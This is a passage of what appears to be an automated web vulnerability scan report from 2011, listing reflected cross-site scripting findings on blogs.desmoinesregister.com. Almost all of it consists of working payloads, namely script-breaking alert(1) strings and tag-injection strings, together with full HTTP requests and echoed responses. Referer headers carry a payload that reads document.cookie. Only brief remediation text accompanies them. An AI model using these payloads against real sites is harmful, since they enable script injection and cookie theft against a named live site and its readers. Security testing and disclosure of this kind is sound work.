gban=inter%3Ddisabled%3Atrue%2Cviews%3A1%2Cexpiry%3A5H%2Cplacementid%3A1272947%2Cpreload%3Afalse%2Cid%3Ainter%2Ccontrolurl%3Ahttp%253A//gannett.gcion.com/addyn/3.0/5111.1/1272948/0/0/ADTECH%253Balias%253Dia-desmoines.desmoinesregister.com/news/opinion/blog/front.htm_Interstitial%253Bcookie%253Dinfo%253Bloc%253D100%253Btarget%253D_blank%253Bgrp%253D15892%253Bmisc%253D1297647421991%253Bsize%253D0%253Bnoperf%253D1%2Cexpires%3A1297665422
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 15:14:56 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 70701
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9e7bf"%3balert(1)//6e6742fd66c was submitted in the REST URL parameter 4. This input was echoed as 9e7bf";alert(1)//6e6742fd66c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /odygel/lib/dateutil/dateutil.js9e7bf"%3balert(1)//6e6742fd66c HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/wp-content/plugins/wp-email/email-css.csse743e%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E045c9ac9fe9?ver=2.50 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; GCIONSN=AAAAOn52dzox; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom; gban=inter%3Ddisabled%3Atrue%2Cviews%3A1%2Cexpiry%3A5H%2Cplacementid%3A1272947%2Cpreload%3Afalse%2Cid%3Ainter%2Ccontrolurl%3Ahttp%253A//gannett.gcion.com/addyn/3.0/5111.1/1272948/0/0/ADTECH%253Balias%253Dia-desmoines.desmoinesregister.com/news/opinion/blog/front.htm_Interstitial%253Bcookie%253Dinfo%253Bloc%253D100%253Btarget%253D_blank%253Bgrp%253D15892%253Bmisc%253D1297647421991%253Bsize%253D0%253Bnoperf%253D1%2Cexpires%3A1297665422
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 15:15:52 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 70092
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c04bb"><script>alert(1)</script>119d970f7ec was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /odygel/lib/dateutil/dateutil.jsc04bb"><script>alert(1)</script>119d970f7ec HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/wp-content/plugins/wp-email/email-css.csse743e%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E045c9ac9fe9?ver=2.50 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; GCIONSN=AAAAOn52dzox; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom; gban=inter%3Ddisabled%3Atrue%2Cviews%3A1%2Cexpiry%3A5H%2Cplacementid%3A1272947%2Cpreload%3Afalse%2Cid%3Ainter%2Ccontrolurl%3Ahttp%253A//gannett.gcion.com/addyn/3.0/5111.1/1272948/0/0/ADTECH%253Balias%253Dia-desmoines.desmoinesregister.com/news/opinion/blog/front.htm_Interstitial%253Bcookie%253Dinfo%253Bloc%253D100%253Btarget%253D_blank%253Bgrp%253D15892%253Bmisc%253D1297647421991%253Bsize%253D0%253Bnoperf%253D1%2Cexpires%3A1297665422
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 15:15:49 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 70168
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
<head> <title>Error | The Des Moines Register | DesMoinesRegister.com </title ...[SNIP]... <link rel="canonical" href="http://blogs.desmoinesregister.com/odygel/lib/dateutil/dateutil.jsc04bb"><script>alert(1)</script>119d970f7ec" /> ...[SNIP]...
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 216e1"><script>alert(1)</script>a3ae2dc1119 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /odygel/lib/legacy/GDN//UI.js216e1"><script>alert(1)</script>a3ae2dc1119 HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/wp-content/plugins/wp-email/email-css.csse743e%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E045c9ac9fe9?ver=2.50 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom; gban=inter%3Ddisabled%3Atrue%2Cviews%3A1%2Cexpiry%3A5H%2Cplacementid%3A1272947%2Cpreload%3Afalse%2Cid%3Ainter%2Ccontrolurl%3Ahttp%253A//gannett.gcion.com/addyn/3.0/5111.1/1272948/0/0/ADTECH%253Balias%253Dia-desmoines.desmoinesregister.com/news/opinion/blog/front.htm_Interstitial%253Bcookie%253Dinfo%253Bloc%253D100%253Btarget%253D_blank%253Bgrp%253D15892%253Bmisc%253D1297647421991%253Bsize%253D0%253Bnoperf%253D1%2Cexpires%3A1297665422; GCIONSN=AAAAOn52dzoy
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 15:17:40 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 70160
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
<head> <title>Error | The Des Moines Register | DesMoinesRegister.com </title ...[SNIP]... <link rel="canonical" href="http://blogs.desmoinesregister.com/odygel/lib/legacy/GDN//UI.js216e1"><script>alert(1)</script>a3ae2dc1119" /> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 86f89"%3balert(1)//ac9193c5d84 was submitted in the REST URL parameter 5. This input was echoed as 86f89";alert(1)//ac9193c5d84 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /odygel/lib/legacy/GDN//UI.js86f89"%3balert(1)//ac9193c5d84 HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/wp-content/plugins/wp-email/email-css.csse743e%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E045c9ac9fe9?ver=2.50 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom; gban=inter%3Ddisabled%3Atrue%2Cviews%3A1%2Cexpiry%3A5H%2Cplacementid%3A1272947%2Cpreload%3Afalse%2Cid%3Ainter%2Ccontrolurl%3Ahttp%253A//gannett.gcion.com/addyn/3.0/5111.1/1272948/0/0/ADTECH%253Balias%253Dia-desmoines.desmoinesregister.com/news/opinion/blog/front.htm_Interstitial%253Bcookie%253Dinfo%253Bloc%253D100%253Btarget%253D_blank%253Bgrp%253D15892%253Bmisc%253D1297647421991%253Bsize%253D0%253Bnoperf%253D1%2Cexpires%3A1297665422; GCIONSN=AAAAOn52dzoy
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 15:17:43 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 70084
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6ff7f"><script>alert(1)</script>baf8e2e82c8 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /odygel/lib/legacy/GDN/GDNpostload.js6ff7f"><script>alert(1)</script>baf8e2e82c8 HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/wp-content/plugins/wp-email/email-css.csse743e%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E045c9ac9fe9?ver=2.50 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; GCIONSN=AAAAOn52dzox; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom; gban=inter%3Ddisabled%3Atrue%2Cviews%3A1%2Cexpiry%3A5H%2Cplacementid%3A1272947%2Cpreload%3Afalse%2Cid%3Ainter%2Ccontrolurl%3Ahttp%253A//gannett.gcion.com/addyn/3.0/5111.1/1272948/0/0/ADTECH%253Balias%253Dia-desmoines.desmoinesregister.com/news/opinion/blog/front.htm_Interstitial%253Bcookie%253Dinfo%253Bloc%253D100%253Btarget%253D_blank%253Bgrp%253D15892%253Bmisc%253D1297647421991%253Bsize%253D0%253Bnoperf%253D1%2Cexpires%3A1297665422
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 15:16:09 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 70190
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
<head> <title>Error | The Des Moines Register | DesMoinesRegister.com </title ...[SNIP]... <link rel="canonical" href="http://blogs.desmoinesregister.com/odygel/lib/legacy/GDN/GDNpostload.js6ff7f"><script>alert(1)</script>baf8e2e82c8" /> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload eb405"%3balert(1)//c46445ec921 was submitted in the REST URL parameter 5. This input was echoed as eb405";alert(1)//c46445ec921 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /odygel/lib/legacy/GDN/GDNpostload.jseb405"%3balert(1)//c46445ec921 HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/wp-content/plugins/wp-email/email-css.csse743e%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E045c9ac9fe9?ver=2.50 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; GCIONSN=AAAAOn52dzox; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom; gban=inter%3Ddisabled%3Atrue%2Cviews%3A1%2Cexpiry%3A5H%2Cplacementid%3A1272947%2Cpreload%3Afalse%2Cid%3Ainter%2Ccontrolurl%3Ahttp%253A//gannett.gcion.com/addyn/3.0/5111.1/1272948/0/0/ADTECH%253Balias%253Dia-desmoines.desmoinesregister.com/news/opinion/blog/front.htm_Interstitial%253Bcookie%253Dinfo%253Bloc%253D100%253Btarget%253D_blank%253Bgrp%253D15892%253Bmisc%253D1297647421991%253Bsize%253D0%253Bnoperf%253D1%2Cexpires%3A1297665422
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 15:16:12 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 70114
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d4afe"%3balert(1)//cffe6d3d7c5 was submitted in the REST URL parameter 5. This input was echoed as d4afe";alert(1)//cffe6d3d7c5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /odygel/lib/legacy/GDN/GDNpreload.jsd4afe"%3balert(1)//cffe6d3d7c5 HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/wp-content/plugins/wp-email/email-css.csse743e%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E045c9ac9fe9?ver=2.50 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; GCIONSN=AAAAOn52dzox; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom; gban=inter%3Ddisabled%3Atrue%2Cviews%3A1%2Cexpiry%3A5H%2Cplacementid%3A1272947%2Cpreload%3Afalse%2Cid%3Ainter%2Ccontrolurl%3Ahttp%253A//gannett.gcion.com/addyn/3.0/5111.1/1272948/0/0/ADTECH%253Balias%253Dia-desmoines.desmoinesregister.com/news/opinion/blog/front.htm_Interstitial%253Bcookie%253Dinfo%253Bloc%253D100%253Btarget%253D_blank%253Bgrp%253D15892%253Bmisc%253D1297647421991%253Bsize%253D0%253Bnoperf%253D1%2Cexpires%3A1297665422
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 15:15:48 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 70110
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 746a3"><script>alert(1)</script>a9003d5ca91 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /odygel/lib/legacy/GDN/GDNpreload.js746a3"><script>alert(1)</script>a9003d5ca91 HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/wp-content/plugins/wp-email/email-css.csse743e%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E045c9ac9fe9?ver=2.50 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; GCIONSN=AAAAOn52dzox; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom; gban=inter%3Ddisabled%3Atrue%2Cviews%3A1%2Cexpiry%3A5H%2Cplacementid%3A1272947%2Cpreload%3Afalse%2Cid%3Ainter%2Ccontrolurl%3Ahttp%253A//gannett.gcion.com/addyn/3.0/5111.1/1272948/0/0/ADTECH%253Balias%253Dia-desmoines.desmoinesregister.com/news/opinion/blog/front.htm_Interstitial%253Bcookie%253Dinfo%253Bloc%253D100%253Btarget%253D_blank%253Bgrp%253D15892%253Bmisc%253D1297647421991%253Bsize%253D0%253Bnoperf%253D1%2Cexpires%3A1297665422
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 15:15:45 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 70186
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
<head> <title>Error | The Des Moines Register | DesMoinesRegister.com </title ...[SNIP]... <link rel="canonical" href="http://blogs.desmoinesregister.com/odygel/lib/legacy/GDN/GDNpreload.js746a3"><script>alert(1)</script>a9003d5ca91" /> ...[SNIP]...
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 291b0"><script>alert(1)</script>9616e98d8c6 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /odygel/lib/legacy/GDN/UAWidgets/LoggedOut.js291b0"><script>alert(1)</script>9616e98d8c6 HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/index.php/2011/02/11/daniels-at-cpac-calls-for-broad-civil-conservative-coalition/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; GCIONSN=AAAAOn52dzox; SiteLifeHost=gnvm25l3pluckcom
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 01:36:23 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 69793
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
<head> <title>Error | The Des Moines Register | DesMoinesRegister.com </title ...[SNIP]... <link rel="canonical" href="http://blogs.desmoinesregister.com/odygel/lib/legacy/GDN/UAWidgets/LoggedOut.js291b0"><script>alert(1)</script>9616e98d8c6" /> ...[SNIP]...
The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d4b81"%3balert(1)//ea5f78fe07a was submitted in the REST URL parameter 6. This input was echoed as d4b81";alert(1)//ea5f78fe07a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /odygel/lib/legacy/GDN/UAWidgets/LoggedOut.jsd4b81"%3balert(1)//ea5f78fe07a HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/index.php/2011/02/11/daniels-at-cpac-calls-for-broad-civil-conservative-coalition/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; GCIONSN=AAAAOn52dzox; SiteLifeHost=gnvm25l3pluckcom
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 01:36:26 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 69717
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 73dbf"><script>alert(1)</script>d1b8a475edd was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /odygel/lib/legacy/GDN/UREvents/ZagUser.js73dbf"><script>alert(1)</script>d1b8a475edd HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/wp-content/plugins/wp-email/email-css.csse743e%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E045c9ac9fe9?ver=2.50 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom; gban=inter%3Ddisabled%3Atrue%2Cviews%3A1%2Cexpiry%3A5H%2Cplacementid%3A1272947%2Cpreload%3Afalse%2Cid%3Ainter%2Ccontrolurl%3Ahttp%253A//gannett.gcion.com/addyn/3.0/5111.1/1272948/0/0/ADTECH%253Balias%253Dia-desmoines.desmoinesregister.com/news/opinion/blog/front.htm_Interstitial%253Bcookie%253Dinfo%253Bloc%253D100%253Btarget%253D_blank%253Bgrp%253D15892%253Bmisc%253D1297647421991%253Bsize%253D0%253Bnoperf%253D1%2Cexpires%3A1297665422; GCIONSN=AAAAOn52dzoy
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 15:17:25 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 70212
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
<head> <title>Error | The Des Moines Register | DesMoinesRegister.com </title ...[SNIP]... <link rel="canonical" href="http://blogs.desmoinesregister.com/odygel/lib/legacy/GDN/UREvents/ZagUser.js73dbf"><script>alert(1)</script>d1b8a475edd" /> ...[SNIP]...
The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c2734"%3balert(1)//25ad96d1424 was submitted in the REST URL parameter 6. This input was echoed as c2734";alert(1)//25ad96d1424 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /odygel/lib/legacy/GDN/UREvents/ZagUser.jsc2734"%3balert(1)//25ad96d1424 HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/wp-content/plugins/wp-email/email-css.csse743e%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E045c9ac9fe9?ver=2.50 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom; gban=inter%3Ddisabled%3Atrue%2Cviews%3A1%2Cexpiry%3A5H%2Cplacementid%3A1272947%2Cpreload%3Afalse%2Cid%3Ainter%2Ccontrolurl%3Ahttp%253A//gannett.gcion.com/addyn/3.0/5111.1/1272948/0/0/ADTECH%253Balias%253Dia-desmoines.desmoinesregister.com/news/opinion/blog/front.htm_Interstitial%253Bcookie%253Dinfo%253Bloc%253D100%253Btarget%253D_blank%253Bgrp%253D15892%253Bmisc%253D1297647421991%253Bsize%253D0%253Bnoperf%253D1%2Cexpires%3A1297665422; GCIONSN=AAAAOn52dzoy
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 15:17:28 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 70136
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ed7cf"%3balert(1)//c2bc4728b23 was submitted in the REST URL parameter 4. This input was echoed as ed7cf";alert(1)//c2bc4728b23 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /odygel/lib/remoting/remoting.jsed7cf"%3balert(1)//c2bc4728b23 HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/wp-content/plugins/wp-email/email-css.csse743e%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E045c9ac9fe9?ver=2.50 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; GCIONSN=AAAAOn52dzox; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom; 